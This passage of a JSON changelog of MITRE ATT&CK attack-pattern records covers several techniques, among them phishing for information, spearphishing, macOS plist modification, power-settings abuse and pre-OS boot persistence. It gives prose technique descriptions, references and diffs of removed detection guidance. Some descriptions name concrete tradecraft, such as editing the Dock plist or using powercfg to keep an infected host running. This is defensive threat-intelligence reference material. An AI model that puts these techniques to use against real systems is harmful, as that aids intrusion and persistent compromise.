"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:07:01.502000+00:00", + "modified": "2025-10-24 17:49:24.096000+00:00", + "name": "Phishing for Information", + "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598", + "external_id": "T1598" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Avertium callback phishing", + "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.", + "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing" + }, + { + "source_name": "TrendMictro Phishing", + "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", + "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html" + }, + { + "source_name": "Sophos Attachment", + "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", + "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/" + }, + { + "source_name": "cyberproof-double-bounce", + "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.", + "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends" + }, + { + "source_name": "PCMag FakeLogin", + "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", + "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Microsoft OAuth Spam 2022", + "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/" + }, + { + "source_name": "ThreatPost Social Media Phishing", + "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.", + "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/" + }, + { + "source_name": "Proofpoint-spoof", + "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.", + "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing" + }, + { + "source_name": "GitHub Phishery", + "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", + "url": "https://github.com/ryhanson/phishery" + }, + { + "source_name": "Palo Alto Unit 42 VBA Infostealer 2014", + "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.", + "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos", + "Ohad Zaidenberg, @ohad_mz", + "Liora Itkin", + "Liran Ravich, CardinalOps", + "Scott Cook, Capital One" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.096000+00:00\", \"old_value\": \"2025-04-15 19:59:08.689000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\\n\\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\\n-\\n-Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0823: Detection of Phishing for Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:08:57.386000+00:00", + "modified": "2025-10-24 17:49:04.751000+00:00", + "name": "Spearphishing Attachment", + "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) to harvest user credentials via fake login portals.(Citation: Huntress HTML Smuggling 2024)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598/002", + "external_id": "T1598.002" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Sophos Attachment", + "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", + "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/" + }, + { + "source_name": "Huntress HTML Smuggling 2024", + "description": "Matt Kiely. (2024, July 5). Smuggler\u2019s Gambit: Uncovering HTML Smuggling Adversary in the Middle Tradecraft. Retrieved March 18, 2025.", + "url": "https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "GitHub Phishery", + "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", + "url": "https://github.com/ryhanson/phishery" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.751000+00:00\", \"old_value\": \"2025-04-15 19:58:49.390000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0865: Detection of Spearphishing Attachment" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:08:07.742000+00:00", + "modified": "2025-10-24 17:49:38.182000+00:00", + "name": "Spearphishing Service", + "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598/001", + "external_id": "T1598.001" + }, + { + "source_name": "ThreatPost Social Media Phishing", + "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.", + "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.182000+00:00\", \"old_value\": \"2025-04-15 23:11:18.959000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1017: User Training" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0821: Detection of Spearphishing Service" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-09 15:06:32.458000+00:00", + "modified": "2025-10-24 17:49:00.573000+00:00", + "name": "Plist File Modification", + "description": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application\u2019s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1647", + "external_id": "T1647" + }, + { + "source_name": "eset_osx_flashback", + "description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.", + "url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf" + }, + { + "source_name": "fileinfo plist file description", + "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.", + "url": "https://fileinfo.com/extension/plist" + }, + { + "source_name": "wardle chp2 persistence", + "description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.", + "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.573000+00:00\", \"old_value\": \"2025-04-15 22:57:13.867000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as \\\\~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \\n\\nMonitor for plist file modification immediately followed by code execution from \\\\~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\\n\\nIdentify new services executed from plist modified in the previous user's session. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for common command-line editors used to modify plist files located in auto-run locations, such as \\\\~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \\n-\\n-Monitor for plist file modification immediately followed by code execution from \\\\~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\\n-\\n-Identify new services executed from plist modified in the previous user's session. \"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0109: Detection Strategy for Plist File Modification (T1647)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-06-05 15:52:52.467000+00:00", + "modified": "2025-10-24 17:49:33.435000+00:00", + "name": "Power Settings", + "description": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1653", + "external_id": "T1653" + }, + { + "source_name": "Sleep, shut down, hibernate", + "description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.", + "url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop" + }, + { + "source_name": "CoinLoader: A Sophisticated Malware Loader Campaign", + "description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.", + "url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign" + }, + { + "source_name": "BATLOADER: The Evasive Downloader Malware", + "description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.", + "url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html" + }, + { + "source_name": "Two New Monero Malware Attacks Target Windows and Android Users", + "description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.", + "url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/" + }, + { + "source_name": "Condi-Botnet-binaries", + "description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.", + "url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389" + }, + { + "source_name": "systemdsleep Linux", + "description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.", + "url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html" + }, + { + "source_name": "Microsoft: Powercfg command-line options", + "description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.", + "url": "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein", + "Juan Tapiador" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.435000+00:00\", \"old_value\": \"2025-04-15 19:59:18.299000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \\n\", \"diff\": \"--- \\n+++ \\n@@ -1 +0,0 @@\\n-Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0417: Detection Strategy for Power Settings Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-13 14:44:49.439000+00:00", + "modified": "2025-10-24 17:49:01.466000+00:00", + "name": "Pre-OS Boot", + "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1542", + "external_id": "T1542" + }, + { + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.", + "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + }, + { + "source_name": "Wikipedia Booting", + "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.", + "url": "https://en.wikipedia.org/wiki/Booting" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Modification\", \"File: File Modification\", \"Network Traffic: Network Connection Creation\", \"File: File Creation\", \"Process: OS API Execution\", \"Driver: Driver Metadata\", \"Command: Command Execution\", \"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.466000+00:00\", \"old_value\": \"2025-04-15 19:58:45.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\\n\\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\\n-\\n-Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1035: Limit Access to Resource Over Network", + "M1046: Boot Integrity", + 